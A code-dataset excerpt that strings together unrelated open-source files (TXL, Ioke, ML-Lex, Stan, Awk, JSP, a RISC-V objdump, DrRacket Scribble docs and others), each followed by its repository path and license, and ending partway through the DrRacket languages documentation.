end redefine
define potential_clone
[compound_statement]
end define
% Generic abstraction
include "generic-abstract.txl"
| TXL | 4 | coder-chenzhi/SQA | SourcererCC/parser/java/txl/c-abstract-blocks.txl | [
"Apache-2.0"
] |
Account = Origin mimic do(
transfer = method(amount, from: self, to:,
from balance -= amount
to balance += amount
)
print = method(
"<Account name: #{name} balance: #{balance}>" println
)
)
Xiao = Account with(name: "Xiao", balance: 142.0)
Jiajun = Account with(name: "Jiajun", balance: 45.7)
Account transfer(23.0, from: Xiao, to: Jiajun)
Account transfer(10.0, to: Xiao, from: Jiajun)
Jiajun transfer(57.4, to: Xiao)
Xiao print
Jiajun print
| Ioke | 3 | olabini/ioke | examples/multilang/chinese/account_en.ik | [
"ICU",
"MIT"
] |
structure Tokens = Tokens
type pos = int
type svalue = Tokens.svalue
type ('a,'b) token = ('a,'b) Tokens.token
type lexresult= (svalue,pos) token
val pos = ref 0
fun eof () = Tokens.EOF(!pos,!pos)
fun error (e,l : int,_) = TextIO.output (TextIO.stdOut, String.concat[
"line ", (Int.toString l), ": ", e, "\n"
])
%%
%header (functor CalcLexFun(structure Tokens: Calc_TOKENS));
alpha=[A-Za-z];
digit=[0-9];
ws = [\ \t];
%%
\n => (pos := (!pos) + 1; lex());
{ws}+ => (lex());
{digit}+ => (Tokens.NUM (valOf (Int.fromString yytext), !pos, !pos));
"+" => (Tokens.PLUS(!pos,!pos));
"*" => (Tokens.TIMES(!pos,!pos));
";" => (Tokens.SEMI(!pos,!pos));
{alpha}+ => (if yytext="print"
then Tokens.PRINT(!pos,!pos)
else Tokens.ID(yytext,!pos,!pos)
);
"-" => (Tokens.SUB(!pos,!pos));
"^" => (Tokens.CARAT(!pos,!pos));
"/" => (Tokens.DIV(!pos,!pos));
"." => (error ("ignoring bad character "^yytext,!pos,!pos);
lex());
| Lex | 4 | athas/mlk | src/Tools/ml-yacc/examples/calc/calc.lex | [
"MIT"
] |
functions {
real calculate_binomial(//pars
real p_avg,
// data
real total,
int suc
)
{
real ans;
ans = lchoose(total, suc) + suc * log(p_avg) + (total - suc ) * log(1-p_avg);
return(ans);
}
real model_log_dens(
int[] deaths_slice,
int start,
int end,
//pars
vector logit_p_avg,
vector cases
)
{
int n;
real lpmf;
int N_slice;
real p_avg;
lpmf = 0.0;
N_slice = end - start + 1;
for(n_slice in 1:N_slice)
{
n = n_slice + start - 1;
p_avg = inv_logit(logit_p_avg[n]);
lpmf +=
calculate_binomial(
p_avg,
cases[n],
deaths_slice[n]
);
}
return( lpmf );
}
}
data
{
int<lower=0> N; // number of observations
int<lower=0> N_predict; // number of predictions
int<lower=0> M; // number of studies
int deaths[N]; // number of deaths
real<lower=0,upper=1> sero_p_lower[N];
real<lower=0,upper=1> sero_p_upper[N];
vector<lower=1>[N] pop_count;
vector<lower=0>[N_predict] age; // age predictions
vector<lower=0>[N] age_study; // age midpoints
int<lower=1,upper=M> study[N];
}
parameters
{
real alpha;
real beta;
vector[N] sero_p;
real<lower=0> study_rnde_sd;
vector[M] study_rnde;
}
transformed parameters
{
vector[N] logit_p_avg;
vector[N] cases;
logit_p_avg = alpha + beta * age_study + study_rnde[ study ];
cases = sero_p .* pop_count;
}
model
{
target += normal_lpdf( alpha | 0, 20);
target += normal_lpdf( beta | 0, 1);
target += normal_lpdf( study_rnde | 0, study_rnde_sd);
target += exponential_lpdf( study_rnde_sd | 10);
target += uniform_lpdf( sero_p | sero_p_lower, sero_p_upper);
//log lkl rstan version
target += model_log_dens(deaths, 1, N,
//log lkl cmdstan version
//target += reduce_sum(model_log_dens, deaths, 1,
// pars
logit_p_avg,
cases
);
}
generated quantities
{
vector<lower=0, upper=1>[N_predict] p_predict;
int pred_deaths[N_predict];
p_predict = inv_logit( alpha + beta * age );
pred_deaths = binomial_rng(rep_array(10000000, N_predict), p_predict);
}
| Stan | 5 | viniciuszendron/covid19model | covid19AgeModel/inst/ifr-by-age/base_age_prior_ifr_200820a15_cmdstanv.stan | [
"MIT"
] |
/data_section_start_ram/ { data_start = $1 }
/data_section_end_ram/ { data_end = $1 }
/bss_section_start_ram/ { bss_start = $1 }
/bss_section_end_ram/ { bss_end = $1 }
/heap_start/ { heap_start = $1 }
/heap_end/ { heap_end = $1 }
/stack_start/ { stack_start = $1 }
/stack_end/ { stack_end = $1 }
function log_section(name, start, end) {
printf("%s: 0x%x - 0x%x (0x%x = %d = %dK)\n", name, start, end, end-start, end-start, (end-start)/1024)
}
END {
log_section("DATA ", data_start, data_end);
log_section("BSS ", bss_start, bss_end);
log_section("HEAP ", heap_start, heap_end);
log_section("STACK", stack_end, stack_start);
}
| Awk | 4 | VersiraSec/epsilon-cfw | build/device/memory_map.awk | [
"FSFAP"
] |
<%@ page contentType="text/html; charset=utf-8" %>
<%@ taglib prefix="a" uri="/WEB-INF/app.tld" %>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<%@ taglib prefix="res" uri="http://www.unidal.org/webres" %>
<%@ taglib prefix="w" uri="http://www.unidal.org/web/core" %>
<jsp:useBean id="ctx" type="com.dianping.cat.system.page.config.Context" scope="request"/>
<jsp:useBean id="payload" type="com.dianping.cat.system.page.config.Payload" scope="request"/>
<jsp:useBean id="model" type="com.dianping.cat.system.page.config.Model" scope="request"/>
<a:config>
<res:useJs value="${res.js.local['jquery.validate.min.js']}" target="head-js"/>
<res:useJs value="${res.js.local['editor.js']}" target="head-js"/>
<script src='${model.webapp}/assets/js/editor/ace.js'></script>
<style>
.cat-alarm-tip {
padding: 1em;
}
.cat-alarm-tip-container {
padding: 0.5em;
border: 1px solid #ffeeba;
background-color: #fff3cd;
color: #856404;
}
.cat-alarm-tip-container h4 {
font-size: 1.5em;
padding: 0;
margin: 0 0 0.3em;
}
.cat-alarm-tip-container p {
margin-bottom: 0.3em;
}
.cat-alarm-tip-container button {
margin-right: 0.5em;
padding: 0.2em 0.5em;
}
.cat-alarm-tip-container a.question {
margin-right: 0.5em;
cursor: not-allowed;
color: #CCC;
}
</style>
<div class="cat-alarm-tip">
<div class="cat-alarm-tip-container">
<h4>配置说明：</h4>
<p>* local-mode : 定义服务是否为本地模式（开发模式），在生产环境时，设置为false,启动远程监听模式。默认为 false;</p>
<p>* hdfs-machine : 定义是否启用HDFS存储方式，默认为 false；</p>
<p>* job-machine : 定义当前服务是否为报告工作机（开启生成汇总报告和统计报告的任务，只需要一台服务机开启此功能），默认为 false；</p>
<p>* alarm-machine : 定义当前服务是否为报警机（开启各类报警监听，只需要一台服务机开启此功能），默认为 false；</p>
<p>* storage : 定义数据存储配置信息</p>
<p>* local-report-storage-time : 定义本地报告存放时长，单位为（天）</p>
<p>* local-logivew-storage-time : 定义本地日志存放时长，单位为（天）</p>
<p>* local-base-dir : 定义本地数据存储目录</p>
<p>* hdfs : 定义HDFS配置信息，便于直接登录系统</p>
<p>* server-uri : 定义HDFS服务地址</p>
<p>* remote-servers : 定义HTTP服务列表，（远程监听端同步更新服务端信息即取此值）</p>
</div>
</div>
<form name="serverConfigUpdate" id="form" method="post"
action="${model.pageUri}?op=serverConfigUpdate">
<table class="table table-striped table-condensed table-hover">
<tr>
<td>
<input id="content" name="content" value="" type="hidden"/>
<div id="editor" class="editor">${model.content}</div>
</td>
</tr>
<tr>
<td style="text-align:center"><input class='btn btn-primary' id="serverConfigUpdate"
type="submit" name="submit" value="提交"/></td>
</tr>
</table>
</form>
<h4 class="text-center text-danger" id="state"> </h4>
</a:config>
<script type="text/javascript">
$(document).ready(function () {
$('#overall_config').addClass('active open');
$('#serverConfigUpdate').addClass('active');
var state = '${model.opState}';
if (state == 'Success') {
$('#state').html('操作成功');
} else {
$('#state').html('操作失败');
}
setInterval(function () {
$('#state').html(' ');
}, 3000);
});
</script> | Java Server Pages | 3 | woozhijun/cat | cat-home/src/main/webapp/jsp/system/server/serverConfigUpdate.jsp | [
"Apache-2.0"
] |
= ${product.name.full} Admin REST API
== Overview
This is a REST API reference for the ${product.name.full} Admin
=== Version information
Version: 1
=== URI scheme
Host: localhost:8080
BasePath: /auth
Schemes: HTTP
| AsciiDoc | 2 | rmartinc/keycloak | services/src/docs/asciidoc/overview.adoc | [
"Apache-2.0"
] |
At: "016.hac":4:
parse error: syntax error
parser stacks:
state value
#STATE# (null)
#STATE# (null)
#STATE# keyword: template [3:1..8]
#STATE# < [3:10]
#STATE# list<(template-formal-decl)>: (template-formal-decl) ... [3:11..24]
#STATE# keyword: defproc [4:1..7]
in state #STATE#, possible rules are:
template_formal_decl_list_in_angles: '<' template_formal_decl_list . '>' (#RULE#)
template_formal_decl_list: template_formal_decl_list . ';' template_formal_decl (#RULE#)
acceptable tokens are:
'>' (shift)
';' (shift)
| Bison | 1 | broken-wheel/hacktist | hackt_docker/hackt/test/parser/process/016.stderr.bison | [
"MIT"
] |
(ns lt.plugins.user
(:require [lt.object :as object]
[lt.objs.tabs :as tabs]
[lt.objs.command :as cmd])
(:require-macros [lt.macros :refer [defui behavior]]))
;; UI to be associated with an object
(defui hello-panel [this]
[:h1 "Hello World!"])
;; Define an object prototype
(object/object* ::user.hello
:tags [:user.hello]
:behaviors [::on-close-destroy]
:init (fn [this]
(hello-panel this)))
;; Currently used by :user.hello but could be reused by any
;; object with a declaration in user.behaviors.
(behavior ::on-close-destroy
:triggers #{:close}
:reaction (fn [this]
(object/raise this :destroy)))
(def hello (object/create ::user.hello))
;; Create a user command. Commands can call any function
;; and be bound to any keystroke.
(cmd/command {:command :user.say-hello
:desc "User: Say Hello"
:exec (fn []
(tabs/add-or-focus! hello))})
| Clojure | 4 | sam-aldis/LightTable | deploy/core/User/src/lt/plugins/user.cljs | [
"MIT"
] |
/*
* Copyright 2012-2019 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.boot.actuate.integration;
import org.junit.jupiter.api.Test;
import org.springframework.integration.graph.Graph;
import org.springframework.integration.graph.IntegrationGraphServer;
import static org.assertj.core.api.Assertions.assertThat;
import static org.mockito.BDDMockito.given;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.verify;
/**
* Tests for {@link IntegrationGraphEndpoint}.
*
* @author Tim Ysewyn
*/
class IntegrationGraphEndpointTests {
private final IntegrationGraphServer server = mock(IntegrationGraphServer.class);
private final IntegrationGraphEndpoint endpoint = new IntegrationGraphEndpoint(this.server);
@Test
void readOperationShouldReturnGraph() {
Graph mockedGraph = mock(Graph.class);
given(this.server.getGraph()).willReturn(mockedGraph);
Graph graph = this.endpoint.graph();
verify(this.server).getGraph();
assertThat(graph).isEqualTo(mockedGraph);
}
@Test
void writeOperationShouldRebuildGraph() {
this.endpoint.rebuild();
verify(this.server).rebuild();
}
}
| Java | 4 | yiou362/spring-boot-2.2.9.RELEASE | spring-boot-project/spring-boot-actuator/src/test/java/org/springframework/boot/actuate/integration/IntegrationGraphEndpointTests.java | [
"Apache-2.0"
] |
import mforwarded_pure_enum2
export mforwarded_pure_enum2.PureEnum
| Nimrod | 0 | JohnAD/Nim | tests/modules/mforwarded_pure_enum.nim | [
"MIT"
] |
#%RAML 1.0
title: Example API
/fj239vbnJH39NVosjhgbvFWEFbodjkf:
post:
body:
application/json:
schema: |
{ "type": "string" }
| RAML | 2 | mulesoft/osprey | test/fixtures/error-handler-example.raml | [
"Apache-2.0"
] |
D:/gitee/tmp/tinyriscv/tests/riscv-compliance/build_generated/rv32Zicsr/I-CSRRCI-01.elf: file format elf32-littleriscv
Disassembly of section .text.init:
00000000 <_start>:
0: 04c0006f j 4c <reset_vector>
00000004 <trap_vector>:
4: 34202f73 csrr t5,mcause
8: 00800f93 li t6,8
c: 03ff0a63 beq t5,t6,40 <write_tohost>
10: 00900f93 li t6,9
14: 03ff0663 beq t5,t6,40 <write_tohost>
18: 00b00f93 li t6,11
1c: 03ff0263 beq t5,t6,40 <write_tohost>
20: 00000f17 auipc t5,0x0
24: fe0f0f13 addi t5,t5,-32 # 0 <_start>
28: 000f0463 beqz t5,30 <trap_vector+0x2c>
2c: 000f0067 jr t5
30: 34202f73 csrr t5,mcause
34: 000f5463 bgez t5,3c <handle_exception>
38: 0040006f j 3c <handle_exception>
0000003c <handle_exception>:
3c: 5391e193 ori gp,gp,1337
00000040 <write_tohost>:
40: 00001f17 auipc t5,0x1
44: fc3f2023 sw gp,-64(t5) # 1000 <tohost>
48: ff9ff06f j 40 <write_tohost>
0000004c <reset_vector>:
4c: 00000193 li gp,0
50: 00000297 auipc t0,0x0
54: fb428293 addi t0,t0,-76 # 4 <trap_vector>
58: 30529073 csrw mtvec,t0
5c: 30005073 csrwi mstatus,0
60: 00000297 auipc t0,0x0
64: 02028293 addi t0,t0,32 # 80 <begin_testcode>
68: 34129073 csrw mepc,t0
6c: 00000293 li t0,0
70: 10000337 lui t1,0x10000
74: 01030313 addi t1,t1,16 # 10000010 <_end+0xfffde0c>
78: 00532023 sw t0,0(t1)
7c: 30200073 mret
00000080 <begin_testcode>:
80: 00002797 auipc a5,0x2
84: f8078793 addi a5,a5,-128 # 2000 <begin_signature>
88: fff00413 li s0,-1
8c: 34041073 csrw mscratch,s0
90: 3400f0f3 csrrci ra,mscratch,1
94: 340410f3 csrrw ra,mscratch,s0
98: 34007173 csrrci sp,mscratch,0
9c: 34041173 csrrw sp,mscratch,s0
a0: 340ff1f3 csrrci gp,mscratch,31
a4: 340411f3 csrrw gp,mscratch,s0
a8: 34087273 csrrci tp,mscratch,16
ac: 34041273 csrrw tp,mscratch,s0
b0: 3407f2f3 csrrci t0,mscratch,15
b4: 340412f3 csrrw t0,mscratch,s0
b8: 0007a023 sw zero,0(a5)
bc: 0017a223 sw ra,4(a5)
c0: 0027a423 sw sp,8(a5)
c4: 0037a623 sw gp,12(a5)
c8: 0047a823 sw tp,16(a5)
cc: 0057aa23 sw t0,20(a5)
d0: 0087ac23 sw s0,24(a5)
d4: 00002297 auipc t0,0x2
d8: f4828293 addi t0,t0,-184 # 201c <test_A2_res>
dc: fff00413 li s0,-1
e0: 34041073 csrw mscratch,s0
e4: 3400f5f3 csrrci a1,mscratch,1
e8: 34007673 csrrci a2,mscratch,0
ec: 340ff6f3 csrrci a3,mscratch,31
f0: 34087773 csrrci a4,mscratch,16
f4: 3407f7f3 csrrci a5,mscratch,15
f8: 34007873 csrrci a6,mscratch,0
fc: 00b2a023 sw a1,0(t0)
100: 00c2a223 sw a2,4(t0)
104: 00d2a423 sw a3,8(t0)
108: 00e2a623 sw a4,12(t0)
10c: 00f2a823 sw a5,16(t0)
110: 0102aa23 sw a6,20(t0)
114: 0082ac23 sw s0,24(t0)
118: 00002097 auipc ra,0x2
11c: f2008093 addi ra,ra,-224 # 2038 <test_B_res>
120: 32165a37 lui s4,0x32165
124: 498a0a13 addi s4,s4,1176 # 32165498 <_end+0x32163294>
128: 340a1073 csrw mscratch,s4
12c: 3407f073 csrci mscratch,15
130: 340a1a73 csrrw s4,mscratch,s4
134: 0000a023 sw zero,0(ra)
138: 0140a223 sw s4,4(ra)
13c: 00002297 auipc t0,0x2
140: ec428293 addi t0,t0,-316 # 2000 <begin_signature>
144: 10000337 lui t1,0x10000
148: 00830313 addi t1,t1,8 # 10000008 <_end+0xfffde04>
14c: 00532023 sw t0,0(t1)
150: 00002297 auipc t0,0x2
154: ef028293 addi t0,t0,-272 # 2040 <end_signature>
158: 10000337 lui t1,0x10000
15c: 00c30313 addi t1,t1,12 # 1000000c <_end+0xfffde08>
160: 00532023 sw t0,0(t1)
164: 00100293 li t0,1
168: 10000337 lui t1,0x10000
16c: 01030313 addi t1,t1,16 # 10000010 <_end+0xfffde0c>
170: 00532023 sw t0,0(t1)
174: 00000013 nop
178: 00100193 li gp,1
17c: 00000073 ecall
00000180 <end_testcode>:
180: c0001073 unimp
Disassembly of section .tohost:
00001000 <tohost>:
...
00001100 <fromhost>:
...
Disassembly of section .data:
00002000 <begin_signature>:
2000: ffff 0xffff
2002: ffff 0xffff
2004: ffff 0xffff
2006: ffff 0xffff
2008: ffff 0xffff
200a: ffff 0xffff
200c: ffff 0xffff
200e: ffff 0xffff
2010: ffff 0xffff
2012: ffff 0xffff
2014: ffff 0xffff
2016: ffff 0xffff
2018: ffff 0xffff
201a: ffff 0xffff
0000201c <test_A2_res>:
201c: ffff 0xffff
201e: ffff 0xffff
2020: ffff 0xffff
2022: ffff 0xffff
2024: ffff 0xffff
2026: ffff 0xffff
2028: ffff 0xffff
202a: ffff 0xffff
202c: ffff 0xffff
202e: ffff 0xffff
2030: ffff 0xffff
2032: ffff 0xffff
2034: ffff 0xffff
2036: ffff 0xffff
00002038 <test_B_res>:
2038: ffff 0xffff
203a: ffff 0xffff
203c: ffff 0xffff
203e: ffff 0xffff
00002040 <end_signature>:
...
00002100 <begin_regstate>:
2100: 0080 addi s0,sp,64
...
00002200 <end_regstate>:
2200: 0004 0x4
...
| ObjDump | 3 | DuBirdFly/TinyRISCV_Learn | tests/riscv-compliance/build_generated/rv32Zicsr/I-CSRRCI-01.elf.objdump | [
"Apache-2.0"
] |
<%@ page contentType="text/html; charset=utf-8" isELIgnored="false" trimDirectiveWhitespaces="true" %>
<jsp:useBean id="ctx" type="com.dianping.cat.system.page.project.Context" scope="request"/>
<jsp:useBean id="payload" type="com.dianping.cat.system.page.project.Payload" scope="request"/>
<jsp:useBean id="model" type="com.dianping.cat.system.page.project.Model" scope="request"/>
View of project page under system | Java Server Pages | 1 | woozhijun/cat | cat-home/src/main/webapp/jsp/system/project.jsp | [
"Apache-2.0"
] |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf8">
<title>App.open event test</title>
</head>
<body>
<h1 id='result'>App.open event test</h1>
<script type="text/javascript">
nw.App.on('open', function(cmd){
document.getElementById('result').innerHTML = cmd;
});
</script>
</body>
</html>
| HTML | 3 | namaljayathunga/nw.js | test/remoting/app-open-event/index.html | [
"MIT"
] |
#lang scribble/doc
@(require "common.rkt"
(for-label errortrace/errortrace-lib compiler/cm planet/config
racket/pretty drracket/tool drracket/tool-lib))
@title[#:tag "languages" #:style 'toc]{Languages}
This chapter describes some of the languages that are available for
use within DrRacket. The list here is potentially incomplete, because
new languages can be added through DrRacket plug-ins.
@local-table-of-contents[]
@; ----------------------------------------
@section[#:tag "module"]{Language Declared in Source}
The @as-index{@drlang{The Racket Language} mode}
in DrRacket is a kind of meta-language, where the program itself
specifies its language, usually through a @hash-lang[] line.
More generally, when using this mode, the
@tech{definitions window} must contain a module in some form. Besides
@hash-lang[], a Racket module can be written as @racket[(module
...)]; aside from comments, the @tech{definitions window}
must contain exactly one module.
@subsection{Initial Environment}
DrRacket initializes the environment before it starts running the program in
ways slightly different than the @tt{racket} command-line binary does to reflect
the extra GUI capabilities that it provides. Using the default settings in
the language dialog, it initializes the parameters described in this subsection.
Changing the defaults can result in additional parameters changing, as described
in the next subsection.
DrRacket initializes the @racket[pretty-print-size-hook] and @racket[pretty-print-print-hook]
to specially recognize
@itemize[@item{@racket[snip%]s, which it just inserts into the editor}
@item{convertible values from @racketmodname[pict/convert]}
@item{convertible values from @racketmodname[file/convertible] (which it converts to
png images)}
@item{numbers that are @racket[exact?] and @racket[real?], but not @racket[integer?],
which it prints specially to allow showing repeating decimal representations
and mixed fractions, and}
@item{values that match the predicates passed to
@racket[drracket:language:add-snip-value].}]
It also initializes the @racket[global-port-print-handler] to use @racket[pretty-print]
instead of just @racket[print].
DrRacket initializes the @racket[error-display-handler] to specially highlight the
source locations of the errors and to include icons that provide access to the stacktrace.
@subsection{Details Pane of Language Dialog}
In the details pane of the language dialog, some of the configuration
options correspond to using various libraries and thus can be used
without DrRacket. Here's how, for the ones that are straightforward
(the ones not mentioned here require more sophisticated configuration
of various libraries).
@itemize[
@item{@bold{Dynamic Properties}:
The radio buttons corresond to various uses of the @racketmodname[errortrace/errortrace-lib] library.
The @italic{No Debugging or profiling} option means not to use the library at all.
The @italic{Debugging} option means @racket[(current-compile (make-errortrace-compile-handler))] as well as
adding @racket[(build-path "compiled" "errortrace")] to @racket[use-compiled-file-paths].
The @italic{Debugging and profiling} option means to use @racketmodname[errortrace/errortrace-lib] library's
@racket[profiling-enabled] in conjunction with @racket[current-eval].
The @italic{Syntactic test suite coverage} option means to use @racket[test-coverage-enabled]
in conjunction with @racket[current-eval].
The other three checkboxes save compiled @tt{.zo} files and adjust the compiler.
The @italic{populate compiled/ directories} option corresponds to
@racketblock[(current-load/use-compiled
(make-compilation-manager-load/use-compiled-handler))
(manager-skip-file-handler
(λ (p)
(file-date-in-paths
p
(cons (CACHE-DIR) (current-library-collection-paths)))))]
plus adding either @racket[(build-path "compiled" "drracket")] or
@racket[(build-path "compiled" "drracket" "errortrace")]
to the front of @racket[use-compiled-file-paths], depending if the
@italic{Debugging} option is set or not.
The @italic{Preserve stacktrace} option corresponds to
@racketblock[(compile-context-preservation-enabled #t)]
The @italic{Enforce constant definitions (enables some inlining)} option
corresponds to calling @racket[compile-enforce-module-constants];
checking it passes @racket[#t] and leaving it unchecked passes @racket[#f].
}
@item{@bold{Output Syntax}: The output syntax options correspond to settings in the @racketmodname[racket/pretty] library
and the @racketmodname[mzlib/pconvert] library.}
@item{@bold{Collection Paths}: This corresponds to setting the @racket[current-library-collection-paths] parameter.}
@item{@bold{Command-line arguments}: This corresponds to setting the @racket[current-command-line-arguments] parameter.}
@item{@bold{Automatic #lang line}: This panel controls the
default @tt{#lang} that DrRacket inserts into new windows
(or tabs). If the top option of the radio box is chosen (the
default), DrRacket uses the last @tt{#lang} that was edited
in a definitions window. If the lower option of the radio
box is chosen, DrRacket always uses the same @tt{#lang}
line, as given in the text field.}
]
@; ----------------------------------------
@section[#:tag "legacy"]{Legacy Languages}
DrRacket supports several historically useful variants of Scheme
without a @hash-lang[] prefix:
@itemize[
@item{The @as-index{@drlang{R5RS} language} contains those
primitives and syntax defined in the R@superscript{5}RS Scheme
standard. See the @racketmodname[r5rs] library for details.}
@item{The @as-index{@defterm{PLT Pretty Big} language} provides a
language roughly compatible with a language in earlier versions of
DrRacket. It evaluates a program in the same way as @racket[load],
and it starts by importing the following modules:
@racketmodname[mzscheme], @racketmodname[racket/gui/base],
@racketmodname[mzlib/class], @racketmodname[mzlib/etc],
@racketmodname[mzlib/file], @racketmodname[mzlib/list],
@racketmodname[mzlib/unit], @racketmodname[mzlib/include],
@racketmodname[mzlib/defmacro], @racketmodname[mzlib/pretty],
@racketmodname[mzlib/string], @racketmodname[mzlib/thread],
@racketmodname[mzlib/math], @racketmodname[mzlib/match], and
@racketmodname[mzlib/shared].}
@item{The @as-index{@drlang{Swindle} language} starts with the same
bindings as @racketmodname[swindle #:indirect], and evaluates the program like
@racket[load].}
]
@; ----------------------------------------
@section[#:tag "htdp-langs"]{@|HtDP| Teaching Languages}
Five of DrRacket's languages are specifically designed for teaching:
@itemize[
@item{The @as-index{@drlang{Beginning Student} language} is a small
version of Racket that is tailored for beginning computer
science students.}
@item{The @as-index{@drlang{Beginning Student with List
Abbreviations} languages} is an extension to Beginning Student
that prints lists with @racket[list] instead of @racket[cons],
and accepts @racket[quasiquote]d input.}
@item{The @as-index{@drlang{Intermediate Student} language} adds
local bindings and higher-order functions.}
@item{The @as-index{@drlang{Intermediate Student with Lambda}
language} adds anonymous functions.}
@item{The @as-index{@drlang{Advanced Student} language} adds mutable
state.}
]
The teaching languages are different from conventional Racket in a number
of ways:
@itemize[
@item{@defterm{Case-sensitive identifiers and symbols} --- In a
case-sensitive language, the variable names @racket[x] and
@racket[X] are distinct, and the symbols @racket['x] and
@racket['X] are also distinct. In a case-insensitive language,
@racket[x] and @racket[X] are equivalent and @racket['x] and
@racket['X] represent the same value. The teaching languages
are case-sensitive by default. Case-sensitivity can be adjusted through the
detail section of the language-selection dialog.}
@item{@defterm{All numbers are exact unless @racketmetafont{#i} is
specified} --- In the @drlang{Beginning Student} through
@drlang{Intermediate Student with Lambda languages}, numbers
containing a decimal point are interpreted as exact
numbers. This interpretation allows students to use familiar
decimal notation without inadvertently triggering inexact
arithmetic. Exact numbers with decimal representations are also
printed in decimal. Inexact inputs and results are explicitly
marked with @racketmetafont{#i}.}
@item{@defterm{Procedures must take at least one argument} --- In the
@drlang{Beginning Student} through @drlang{Intermediate
Student} languages, defined procedures must consume at least
one argument. Since the languages have no side-effects,
zero-argument functions are not useful, and rejecting such
function definitions helps detect confusing syntactic
mistakes.}
@item{@defterm{Identifier required at function call position} --- In
the @drlang{Beginning Student} through @drlang{Intermediate
Student} languages, procedure calls must be of the form
@racket[(_identifier ...)]. This restriction helps detect
confusing misuses of parentheses, such as @racket[(1)] or
@racket[((+ 3 4))], which is a common mistake among beginners
who are used to the optional parentheses of algebra.}
@item{@defterm{Top-level required at function call position} --- In
the @drlang{Beginning Student} languages, procedure calls must
be of the form @racket[(_top-level-identifier ...)], and the
number of actual arguments must match the number of formal
arguments if @racket[_top-level-identifier] is
@racket[define]d. This restriction helps detect confusing
misuses of parentheses, such as @racket[(x)] where @racket[x]
is a function argument. DrRacket can detect such mistakes
syntactically because Beginning Student does not support
higher-order procedures.}
@item{@defterm{Primitive and defined functions allowed only in
function call position} --- In @drlang{Beginning Student}
languages, the name of a primitive operator or of a defined
function can be used only after the open-parenthesis of a
function call (except where teachpack extensions allow
otherwise, as in the @racket[convert-gui] teachpack). Incorrect
uses of primitives trigger a syntax error. Incorrect uses of
defined names trigger a run-time error. DrRacket can detect
such mistakes because Beginning Student does not support
higher-order procedures.}
@item{@defterm{@racket[lambda] allowed only in definitions} --- In
the Beginning Student through Intermediate Student languages,
@racket[lambda] may appear only in a
definition, and only as the value of the defined variable.}
@item{@defterm{Free variables are not allowed} --- In the
@drlang{Beginning Student} through @drlang{Advanced Student}
languages, every variable referenced in the definitions window
must be defined, pre-defined, or the name of a local function
argument.}
@item{@defterm{@racket[quote] works only on symbols,
@racket[quasiquote] disallowed} --- In the @drlang{Beginning
Student} language, @racket[quote] and @racketvalfont{'} can
specify only symbols. This restriction avoids the need to
explain to beginners why @racket[1] and @racket['1] are
equivalent in standard Racket. In addition,
@racket[quasiquote], @litchar{`}, @racket[unquote],
@litchar{,}, @racket[unquote-splicing], and @litchar[",@"] are
disallowed.}
@item{@defterm{Unmatched @racket[cond]/@racket[case] is an error} ---
In the @drlang{Beginning Student} through @drlang{Advanced
Student} languages, falling through a @racket[cond] or
@racket[case] expression without matching a clause signals a
run-time error. This convention helps detect syntactic and
logical errors in programs.}
@item{@defterm{Conditional values must be @racket[true] or
@racket[false]} --- In the @drlang{Beginning Student} through
@drlang{Advanced Student} languages, an expression whose value
is treated as a boolean must return an actual boolean,
@racket[true] or @racket[false]. This restriction, which
applies to @racket[if], @racket[cond], @racket[and], and
@racket[or] expressions, helps
detect errors where a boolean function application is omitted.}
@item{@defterm{@racket[+], @racket[*], and @racket[/] take at least
two arguments in @drlang{Beginning} languages.} --- In the
@drlang{Beginning Student} and @drlang{Beginning Student with List
Abbreviations} languages, mathematical operators
that are infix in algebra notation require at least two
arguments in DrRacket. This restriction helps detect missing
arguments to an operator.}
@item{@defterm{@racket[and], @racket[or], @racket[nand], and
@racket[nor] require at least 2 expressions} --- In the
@drlang{Beginning Student} through @drlang{Advanced Student}
languages, the boolean combination forms require at least two
sub-expressions. This restriction helps detect missing or
ill-formed sub-expressions in a boolean expression.}
@item{@defterm{@racket[set!] disallowed on arguments} --- In the
@drlang{Advanced Student} language, @racket[set!] cannot be
used to mutate variables bound by @racket[lambda]. This
restriction ensures that the substitution model of function
application is consistent with DrRacket's evaluation.}
@item{@defterm{Improper lists disallowed} --- A @defterm{proper list}
is either an empty list or a list created by @racket[cons]ing
onto a proper list. In the @drlang{Beginning Student} through
@drlang{Advanced Student} languages, @racket[cons] constructs
only @defterm{proper lists}, signaling an error if the second
argument is not a proper list. Since beginning students do not
need improper lists, this restriction help detect logical
errors in recursive functions.}
@item{@defterm{Dot is disallowed} --- In the @drlang{Beginning
Student} through @drlang{Advanced Student} languages, a
delimited period @litchar{.} is disallowed, (e.g., as an
improper-list constructor in a quoted form, or for defining
multi-arity procedures).}
@item{@defterm{Syntactic form names disallowed as variable names} ---
In the @drlang{Beginning Student} through @drlang{Advanced
Student} languages, all syntactic form names are keywords that
cannot be used as variable names.}
@item{@defterm{Re-definitions are disallowed} --- In the
@drlang{Beginning Student} through @drlang{Advanced Student}
languages, top-level names can never be re-defined.}
@item{@defterm{Function definitions are allowed only in the
definitions window} --- In the @drlang{Beginning Student}
languages, function definitions are not allowed in the
interactions window.}
]
The teaching languages also deviate from traditional Racket in
printing values. Different printing formats can be selected for any
language through the detail section of language-selection dialog.
@itemize[
@item{@defterm{Constructor-style output} --- See
@secref["output-syntax"].}
@item{@defterm{Quasiquote-style output} --- See
@secref["output-syntax"].}
@item{@defterm{Rational number printing} -- In the teaching
languages, all numbers that have a finite decimal expansion are
printed in decimal form. For those numbers that do not have a
finite decimal expansion (such as @racket[4/3]) DrRacket offers a
choice. It either prints them as mixed fractions or as repeating
decimals, where the repeating portion of the decimal expansion is
shown with an overbar. In addition, DrRacket only shows the first
25 digits of the number's decimal expansion. If there are more
digits, the number appears with an ellipses at the end. Click the
ellipses to see the next 25 digits of the expansion.
This setting controls only the initial display of a number.
Right-clicking or Control-clicking (Mac OS) on the number lets
you change from the fraction representation to the decimal
representation.}
@item{@defterm{@racket[write] output} --- Prints values with
@racket[write].}
@item{@defterm{Show sharing in values} --- Prints interaction results
using the @racket[shared] syntax, which exposes shared
structure within a value. For example, the list created by
